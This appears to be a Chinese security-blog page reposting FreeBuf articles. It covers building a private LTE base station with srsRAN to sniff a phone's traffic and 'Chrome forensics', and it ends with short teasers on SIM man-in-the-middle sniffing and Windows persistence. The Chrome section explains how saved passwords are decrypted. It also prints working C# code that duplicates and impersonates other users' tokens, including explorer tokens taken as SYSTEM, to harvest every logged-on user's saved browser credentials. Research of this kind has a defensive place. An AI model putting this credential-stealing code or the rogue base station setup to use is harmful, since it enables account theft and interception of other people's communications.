安全研究 | 手把手教你抓取4G通信流量

转自FREEBUF

概述

随着IoT时代的到来,万物互联的场景离我们也唾手可及,随之而来的新技术、新场景也会来带新的挑战。目前国内对4G/5G网络的研究文章较少,并且该领域的研究也有一定的入门门槛。本文介绍了一种实现一个私人LTE网络环境的方法,并以此分析4G网络架构和通信流量。

环境准备

工具介绍

USIM测试卡: 可烧录自定义IMSI、Ki、OPC、OP等数据的空白USIM卡。淘宝有售

PCSC读卡器: 用来读写USIM卡,GemaltoUSB Smart Card Reader

智能卡转接器: 方便连接各类形状的USIM卡和读卡器

国际版Android手机: 之所以使用国际版,是因为国际版手机对运营商和信号频段限制较小。

BladeRF: 用来作为基站发射和接收4G信号。

USIM卡烧写

IMSI作为USIM的身份表示,也指出该USIM卡属于哪个国家的哪个运营商。

关键术语

IMSI: 国际移动用户识别码,USIM卡的身份标识

MCC: 移动设备国家代码,中国为460

MNC: 移动设备网络代码,每个运营商有对应的MNC,比如中国移动的MNC有02、00、07

IMSIMCC、MNC的对应关系: IMSI前五位对应的就是MCC和MNC

OP: Operator Code : 分配给运营商,用于3G和4G的密钥生成算法。中国运营商通常在每个省公司使用唯一的OP

KI: 鉴权密钥,用于用户身份的鉴权。每个USIM卡有一个唯一的Ki

OPC: 通过使用特定于 SIM 的(“RijndaelEncrypt”)算法从 OP 和 Ki生成的最终密钥。

开始烧录

注:这里使用的烧录软件是由USIM测试卡商家提供,如果没有类似的软件,也可使用pysim等开源软件烧录。

准备IMSI、KI、OPC,这里的KI和OPC填入32位任意数值即可,IMSI为90170开头的任意数值。这三个关键信息填写好之后,开始烧录。

基站搭建

4g网络术语

UE: user equipment (UE) is any device used directly by an end-user to communicate. 通常指用户的手机

EPC: Evolved Packet Core (EPC) is a framework for providing converged voice and data on a 4G Long-Term Evolution (LTE) network. 可以简单理解为4G网络架构中处理数据的核心组件

ENB: E-UTRAN Node B, also known as Evolved Node B (abbreviated as eNodeB or eNB), is the element in E-UTRA of LTE that is the evolution of the element Node B in UTRA of UMTS. 可以简单理解为处理通信信号的组件。

注: 图片来自[1]

srsRAN搭建

介绍:srsRAN is a free and open-source 4G and 5G software radio suite.

搭建教程参考:https://docs.srsran.com/en/latest/general/source/1_installation.html

关键步骤:

srsRAN安装完成后,需要编辑以下三个文件

  • conf
  • conf
  • csv

需要将MMC和MCC、APN等信息填入epc.conf和enb.conf。将IMSI和KI、OPC等信息填入user_db.csv。具体的配置信息参考

https://docs.srsran.com/en/latest/app_notes/source/cots_ue/source/index.html#conf-files

接入Internet

启动srsepc和srsenb程序后,程序会自动建立一张新的网卡srs_spgw_sgi, 手机访问LTE基站的流量都会从这张网卡上流转,为了使手机能够访问Internet,需要帮该网卡进行流量转发,转发到可以访问公网的网卡上。

网络转发设置

srsRAN/srsepc目录下提供了自动设置流量转发的脚本:srsepc_if_masq.sh

如果脚本无效,可以尝试手动设置网络转发

> sudo iptables -A FORWARD -i srs_spgw_sgi -o [your_card] -j ACCEPT

> sudo iptables -A FORWARD -i [your_card] -o srs_spgw_sgi -m state --state ESTABLISHED,RELATED -j ACCEPT

> sudo iptables -t nat -A POSTROUTING -o [your_card] -j MASQUERADE

设置基站上行下行频率

不同的运营商、不同的网络制式使用的通信频率也不一样,为了可以让设备连接到我们的私人基站,需要将基站的通信频率设置为设备支持的通信频率。

核心概念

载波频点号(EARFCN)

为了唯一标识某个LTE系统所在的频率范围,仅用频带和信道带宽这两个参数是无法限定的,比如中移动的频带40占了50M频率范围,而LTE最大的信道带宽是20M,那么在这个50M范围里是没有办法限定这个20M具体在什么位置,这个时候就要引入新的参数:载波中心频率Fc(简称载波频率)。

1623842931_60c9e0735f0517ff2f6d2.png!small?1623842931871

通过上图可以看出,通过频带Band、信道带宽Bandwidth和载波频率Fc这三个值,就可以唯一确定LTE系统的具体频率范围了。由于载波频率Fc是一个浮点值,与整形类型相比,不好用于空口的传输,因此在协议制定的时候,使用载波频点号来表示对应的载波频率Fc。

载波频点号,又叫EARFCN,全称是E-UTRA Absolute Radio Frequency Channel Number,绝对无线频率信道号,使用16bit表示,范围是0-65535。因为要用EARFCN来指代载波频率Fc,因此这两个参数之间必须一一对应,可以互相转换。载波频率Fc和EARFCN之间的关系式如下所示,其中Fdl和Ful分别表示下行和上行具体的中心载波频率,Ndl和Nul则分别表示下行和上行的绝对频点号。

1623842960_60c9e090096b4027f114d.png!small?1623842960785

注: 核心概念内容摘自[2]

获取运营商网络EARFCN

利用www.cellmapper.net查询相应运营商的earfcn, 从图中可以看出中国联通的为1650。

1623843133_60c9e13d1682dc07e7dbc.png!small?1623843135283

利用earfcn计算上行下行频率

使用earfcn计算器(https://5g-tools.com/4g-lte-earfcn-calculator/) 可以得出earfcn 1650对应的上行和下行频率为1850、1755

将手机接入4G网络

在手机的设置中,选择移动网络-手动选择网络, 在本示例中,自己搭建的网络显示为90170,选择后即可加入该网络。此时的手机信号已经通了。接下来给手机配置APN来让手机可以访问Internet。

添加APN

在手机网络设置里,添加APN, APN的名称为我们之前在epc.conf中设置的名称,本示例为srsapn。

测试网络连接情况

开启手机调试模式,使用adb shell访问手机命令行。输入ifconfig命令,可以看到rmnet_data1网卡已经获取到IP地址 172.16.0.2, rmnet_data对应的是移动网络,并且可以访问172.16.0.1。

监听LTE Internet流量

在运行srsepc的主机上使用wireshark监听srs_spgw_sgi网卡,即可监听LTE Internet流量。

提升网络传输速率

可通过MIMO技术提升网络传送速率,如果RF设备支持MIMO,可在srsenb中配置使用。

MIMO:使用多个TX/RX通道发送和接收信号,提高传输速率。

注:图片来自于网络

参考

https://docs.srsran.com/en/latest/app_notes/source/cots_ue/source/index.html#introduction

https://blog.csdn.net/m_052148/article/details/51322260

免责声明

本篇内容仅供学习交流,不得作为非法用途,本文章谨以协助读者对某些技术专题进行研究。

Chrome浏览器取证分析

转自FREEBUF

Chrome浏览器取证分析

做个笔记,记录下最近学习的有关Web浏览器取证的知识,其中包括研究如何解密Chrome浏览器保存在本地的加密登录信息,以及当前进程上下文为SYSTEM或者管理员的情况下如何切换Windows权限,还有遇到多用户在线的情况下如何解密多个用户的密码。

Chrome浏览器登录信息存放在哪里?

Google Chrome的配置文件存放在%LocalAppData%目录下。例如,具有两个Google Chrome账号配置文件的windows用户admin将有一个目录,其中包含每个配置文件的登录数据,每个数据都包含自己的一组存储凭据:

C:\Users\admin\AppData\Local\Google\Chrome\User Data\Default (第一个配置文件的名称)
C:\Users\admin\AppData\Local\Google\Chrome\User Data\Profile 2 (后续的配置文件以迭代数字方式命名)

其中Login Data是SQLite 3数据库文件,里面存放了用户名,网址,加密密码等信息。

登录信息是如何加密保存的?

Login Data 文件主要用于存储用户希望在某些网站上可以自动填充的用户名和密码,研究登录信息只需要查看logins表,其中origin_url是登录网址,username_value列是用户名,password_value列是被加密的用户密码,使用Navicat查看Login Data数据库如下所示:

image

password_value加密的内容。此值使用Microsoft的数据保护API(DPAPI)进行加密,加密方法在80版本后发生部分变化。

从Windows 2000开始,Microsoft随操作系统一起提供了一种特殊的数据保护接口,称为Data Protection Application Programming Interface(DPAPI)。其分别提供了加密函数CryptProtectData 与解密函数 CryptUnprotectData 以用作敏感信息的加密解密。

其用作范围包括且不限于:

  • IE、Chrome的登录表单自动完成
  • Powershell加密函数
  • Outlook, Windows Mail, Windows Mail, 等邮箱客户端的用户密码。
  • FTP管理账户密码
  • 共享资源文件夹的访问密码
  • 无线网络帐户密钥和密码
  • 远程桌面身份凭证
  • EFS
  • EAP/TLS 和 802.1x的身份凭证
  • Credential Manager中的数据
  • 以及各种调用了CryptProtectData函数加密数据的第三方应用,如Skype, Windows Rights Management Services, Windows Media, MSN messenger, Google Talk等。
  • etc

由于功能需求,Dpapi采用的加密类型为对称加密,所以只要找到了密钥,就能解开物理存储的加密信息了。

image

关于DPAPI的详细原理和介绍看这篇文章里的链接:

https://www.4hou.com/posts/AQzP

chrome version 80(80.0.3987.163) 版本前

chrome80以前的版本是直接可以通过DPAPI中的解密函数 CryptUnprotectData来进行解密的。

chrome version 80 (80.0.3987.163)版本后

利用主密钥使用AES-GCM加密算法加密密码存放Login Data数据库,然后用DPAPI的加密函数CryptProtectData加密主密钥存放在Local State文件。其中Local State文件存放在如下地址(假设windows用户为admin),本质是个json文件,其中一个值os_crypt下的encrypted_key是解密需要用的被加密后的密钥。

C:\Users\admin\AppData\Local\Google\Chrome\User Data\Local State

如何解密登录密码?

主要说明下 80 (80.0.3987.163)版本后的解密方法,从C:\Users\admin\AppData\Local\Google\Chrome\UserData\Local State这个Json中读取一个值os_crypt下的encrypted_key,然后取base64解码后解密密钥去除前5个字符再通过对其dpapi解密出这个值保存为key,前五个字符为DPAPI,并且截取15位去除前3位字符保存为NONCE,最终使用AES-gcm算法解密Login Data读取的password_value,开头三个字节为v10说明是chrome 是80版本及以后版本。

简单介绍下AES-gcm算法原理:

CTR(Counter Mode,计数器模式)

image

图中可以看出,加密过程使用了密钥、Nonce(类似IV)、Counter(一个从0到n的编号),与上文提及的CBC模式相比,CTR最大的优势是可以并行执行,因为所有的块只依赖于Nonce与Counter,并不会依赖于前一个密文块,适合高速传输需求。但CTR不能提供密文消息完整性校验的功能(未被篡改),所以我们需要引入另一个概念:MAC(消息认证码)

MAC(Message Authentication Code, 消息认证码)

是一种用来确认消息完整性并进行认证的技术。通过输入消息与共享密钥,可以生成一段固定长度的数据(MAC值)

image

收发双方需要提前共享一个密钥,发送者使用密钥生成消息的MAC值,并随消息一起发送,接收者通过共享密钥计算收到消息的MAC值,与随附的MAC值做比较,从而判断消息是否被改过(完整性),对于篡改者,由于没有密钥(认证),也就无法对篡改后的消息计算MAC值。

GMAC (Galois message authentication code mode, 伽罗华消息认证码)

GMAC就是利用伽罗华域(Galois Field,GF,有限域)乘法运算来计算消息的MAC值。

GCM(Galois/Counter Mode)

GCM是认证加密模式中的一种,它结合了上述两者的特点(GCM中的G就是指GMAC,C就是指CTR),能同时确保数据的保密性、完整性及真实性,另外,它还可以提供附加消息的完整性校验,加密流程如下图:

image

就像CTR模式下一样,先对块进行顺序编号,然后将该块编号与初始向量(IV)组合,并使用密钥k,对输入做AES加密,然后,将加密的结果与明文进行XOR运算来生成密文。像CTR模式下一样,应该对每次加密使用不同的IV。对于附加消息,会使用密钥H(由密钥K得出),运行GMAC,将结果与密文进行XOR运算,从而生成可用于验证数据完整性的身份验证标签。最后,密文接收者会收到一条完整的消息,包含密文、IV(计数器CTR的初始值)、身份验证标签(MAC值)。

解密流程

  1. 获取local state和Login Data文件位置
  2. 获取local state中加密的key(base64编码)
  3. 数据库语句提取Login Data sqllite文件的password_value
  4. DPAPI解密加密key
  5. ase-gcm解密password_value

如何处理多Windows用户的问题?

参考incognito代码,如果是单个Windows用户,程序运行在当前用户的上下文中使用CryptUnprotectData很简单,但如果是多个Windows用户并且不能在要解密的用户上下文执行程序的情况下会比较复杂。使用CryptUnprotectData的前提是当前用户已登录或者lsass中存放有用户登录凭证的哈希(需要经过Windows用户身份认证),那如果lsass没有存放要解密的用户凭证哈希也就意味着没法解密数据,所以能解密数据的最理想情况是目标用户处于在线状态,虽然可能不在目标用户上下文也不知道用户的明文密码,但是我们可以通过令牌模拟/盗窃的方式来模拟这个在线用户去解密数据,普通用户的权限无法完成这些操作,所以前提是至少拥有管理员权限。

令牌模拟/盗窃的思路主要来源于这个项目:

https://github.com/layerfsd/incognito2

创建一个新的访问令牌,该令牌使用来复制现有令牌DuplicateToken(Ex)。然后可以将该令牌用于ImpersonateLoggedOnUser允许调用线程模拟已登录用户的安全上下文,或者SetThreadToken用于将模拟令牌分配给线程。

public static bool ChangeTokenByName(string username)
{
	//Process[] processes = Process.GetProcessesByName("lsass");
	List<IntPtr> lstHandles = new List<IntPtr>();

	lstHandles = Win32Processes.GetHandlesByName("Token", username);
	foreach (IntPtr Handle in lstHandles)
	{
		Win32API.ImpersonateLoggedOnUser(Handle);
		if (username == Environment.UserName)
		{
			return true;
		}
	}
	return false;
}

如果已知目标用户的明文密码,那么可以直接使用现成项目解密:

https://github.com/GhostPack/SharpDPAPI

当用户为高权限时如何处理?

判断SeImpersonatePrivilege是否enable,一个具有SeImpersonatePrivilege权限的服务进程,可以模拟任何一个连接它的客户端的token,这就是所谓的Impersonation模型。先判断当前运行程序用户是否开启了SeImpersonatePrivilege,如果开启说明是高权限,可以令牌模拟/盗窃,并开始寻找可模拟的用户令牌。

if (Win32Processes.IsPrivilegeEnabled("SeImpersonatePrivilege") && Environment.UserName != "SYSTEM")
{
    List<AddressInfo> addrInfo = new List<AddressInfo>();
    addrInfo = FindDirectories();

    foreach (AddressInfo ai in addrInfo)
    {
        string login_data_tempFile = CreateRandomTempFileAddr(ai.username);
        File.Copy(ai.login_data_path, login_data_tempFile, true);
        Console.WriteLine("[+] Copy {0} to {1}", ai.login_data_path, login_data_tempFile);

        if (ai.username == Environment.UserName)
        {
            ChromeHack(ai.login_data_path, ai.chrome_state_file, login_data_tempFile);
            continue;
        }
        else
        {
            ChangeTokenByName(ai.username);
            Console.WriteLine("--- Chrome Credential (User: {0}) ---", Environment.UserName);
            ChromeHack(ai.login_data_path, ai.chrome_state_file, login_data_tempFile);
            Win32API.RevertToSelf();
            Console.WriteLine("[+] Recvtoself");
        }
    }
}

遍历所有进程中的令牌,寻找除了当前上下文用户的其他用户的令牌:

public static List<IntPtr> GetHandles(Process process, string IN_strObjectTypeName, string IN_strObjectName)
{
    uint nStatus;
    int nHandleInfoSize = 256 * 1000;
    IntPtr ipHandlePointer = Marshal.AllocHGlobal(nHandleInfoSize);
    int nLength = 0;
    IntPtr ipHandle = IntPtr.Zero;
    Win32API.SYSTEM_HANDLE_INFORMATION shHandle;
    List<IntPtr> lstHandles = new List<IntPtr>();

    while ((nStatus = Win32API.NtQuerySystemInformation(SystemProcessInformation, ipHandlePointer, nHandleInfoSize, ref nLength)) == STATUS_INFO_LENGTH_MISMATCH)
    {
        nHandleInfoSize = nLength;
        Marshal.FreeHGlobal(ipHandlePointer);
        ipHandlePointer = Marshal.AllocHGlobal(nLength);
    }

    if (nStatus == Win32API.STATUS_SUCCESS)
    {

        int offset = 0;
        IntPtr tempptr = IntPtr.Zero;
        while (true)
        {
            tempptr = new IntPtr(ipHandlePointer.ToInt64() + offset);
            Win32API.SystemProcessInformation pProcessInfo = (Win32API.SystemProcessInformation)Marshal.PtrToStructure(tempptr, typeof(Win32API.SystemProcessInformation));
            offset += pProcessInfo.NextEntryOffset;
            if (pProcessInfo.InheritedFromProcessId == process.Id)
            {
                IntPtr m_ipProcessHwnd = Win32API.OpenProcess(Win32API.ProcessAccessFlags.All, false, pProcessInfo.InheritedFromProcessId);
                for (long lIndex = 0; lIndex < pProcessInfo.HandleCount; lIndex++)
                {
                    IntPtr handle = IntPtr.Zero;
                    if (Win32API.DuplicateHandle(m_ipProcessHwnd, (ushort)((lIndex + 1) * 8), Win32API.GetCurrentProcess(), out handle, 0, false, Win32API.DUPLICATE_SAME_ACCESS) != false)
                    {
                        string strObjectTypeName = "";
                        string strObjectName = "";

                        strObjectTypeName = GetObjectInfo(handle, ObjectInformationClass.ObjectTypeInformation);
                        strObjectName = GetObjectName(handle);

                        if (strObjectTypeName == IN_strObjectTypeName && strObjectName.Contains(IN_strObjectName))
                        {
                            Console.WriteLine(strObjectName);
                            lstHandles.Add(handle);
                        }
                    }
                }
                break;
            }
            if (pProcessInfo.NextEntryOffset == 0)
                break;
        }

        Marshal.FreeHGlobal(ipHandlePointer);
    }

    return lstHandles;

}

其中SYSTEM权限和普通管理员权限的处理方法有所区别,如果是SYSTEM直接去遍历当前的explorer进程,如果当前有多个用户同时处于登录状态,那么就会有多个用户的explorer进程,不用遍历进程去搜索用户令牌,直接复制explorer进程的令牌即可:

//SYSTEM
else if (Environment.UserName == "SYSTEM")
{
    List<AddressInfo> addrInfo = new List<AddressInfo>();
    addrInfo = FindDirectories();

    foreach (Process p in Process.GetProcesses())
    {
        int pid = p.Id;
        string processname = p.ProcessName;
        string process_of_user = GetProcessUserName(pid);
        //Recvtoself
        if (processname == "explorer")
        {
            Console.WriteLine("[*] [{0}] [{1}] [{2}]", pid, processname, process_of_user);

            IntPtr hProcess = Win32API.OpenProcess(Win32API.ProcessAccessFlags.QueryInformation, true, pid);
            if (hProcess == IntPtr.Zero) continue;
            IntPtr hToken = new IntPtr();
            if (!Win32API.OpenProcessToken(hProcess, Win32API.TOKEN_IMPERSONATE | Win32API.TOKEN_DUPLICATE, out hToken)) continue;
            IntPtr DuplicatedToken = new IntPtr();
            if (!Win32API.DuplicateToken(hToken, 2, ref DuplicatedToken)) continue;
            if (!Win32API.SetThreadToken(IntPtr.Zero, DuplicatedToken)) continue;

            foreach (AddressInfo ai in addrInfo)
            {
                if (ai.username == Environment.UserName)
                {
                    string login_data_tempFile = CreateRandomTempFileAddr(ai.username);
                    File.Copy(ai.login_data_path, login_data_tempFile, true);
                    Console.WriteLine("[+] Copy {0} to {1}", ai.login_data_path, login_data_tempFile);

                    Console.WriteLine("--- Chrome Credential (User: {0}) ---", Environment.UserName);
                    ChromeHack(ai.login_data_path, ai.chrome_state_file, login_data_tempFile);
                }
            }
            //IE_history();

            //回退权限
            Win32API.RevertToSelf();
            Console.WriteLine("[*] Recvtoself");
        }
    }
}

模拟成功解密后需要RevertToSelf()回退到原来的权限,然后继续执行。

如果是普通用户权限,直接解密当前用户的Chrome浏览器密码:

//User
else
{
    List<AddressInfo> addrInfo = new List<AddressInfo>();
    addrInfo = FindDirectories();
    foreach (AddressInfo ai in addrInfo)
    {
        if (ai.username == Environment.UserName)
        {
            string login_data_tempFile = CreateRandomTempFileAddr(ai.username);
            File.Copy(ai.login_data_path, login_data_tempFile, true);
            Console.WriteLine("[+] Copy {0} to {1}", ai.login_data_path, login_data_tempFile);
            ChromeHack(ai.login_data_path, ai.chrome_state_file, login_data_tempFile);
        }
    }
}
Console.WriteLine("[+] Current user {0}", Environment.UserName);

程序流程图

image

参考文章和项目

https://apr4h.github.io/2019-12-20-Harvesting-Browser-Credentials/

https://www.anquanke.com/post/id/220991

https://www.4hou.com/posts/AQzP

https://www.freebuf.com/sectool/232490.html

https://xz.aliyun.com/t/2000

https://xz.aliyun.com/t/6508#toc-4

https://www.anquanke.com/post/id/187895

https://github.com/layerfsd/incognito2

https://www.passcape.com/index.php?section=docsys&cmd=details&id=28

https://github.com/QAX-A-Team/BrowserGhost

https://github.com/layerfsd/incognito2

https://github.com/GhostPack/SharpDPAPI

https://github.com/djhohnstein/SharpChromium

如何通过中间人攻击嗅探SIM卡的流量通信

写在前面的话这篇文章我将介绍如何制作中间人(MitM)设置来嗅探SIM卡和后端服务器之间的流量。虽然这不是一项新的研究,但我希望这将帮助一些没有电信基础的人学习移动数据嗅探和虚假基站的知识。但是我只会介绍…

来源: 如何通过中间人攻击嗅探SIM卡的流量通信

PcapXray:一款功能强大的带有GUI的网络取证工具

前言网络取证工具通常是安全研究专家用来测试目标网络系统安全性的特殊工具,今天我们给大家介绍的正是这样的一种工具。该工具名叫PcapXray,它带有非常强大的GUI界面,并且能够帮助我们离线分析捕获到的数据包。…

来源: PcapXray:一款功能强大的带有GUI的网络取证工具

如何使用Windows Library文件进行持久化

想象一下,假设在你不知道的情况下,攻击者在你的计算机上放置了一个恶意文件。每当你访问桌面上某个文件夹时(例如Documents文件夹),都会执行一次该文件。这样的场景,通过利用一种鲜为人知的持久化技术就…

来源: 如何使用Windows Library文件进行持久化

内鬼泄密猛于黑客,如何保护好防火墙内的世界?

你可以建起一面墙,设置周全的防御措施,花费大量人力物力来维护,以便抵御威胁。但是,如果你的敌人来自内部,那么这面墙就形同虚设。与内部敌人的斗争是一场没有硝烟但依然严峻的战争。 4月…

来源: 内鬼泄密猛于黑客,如何保护好防火墙内的世界?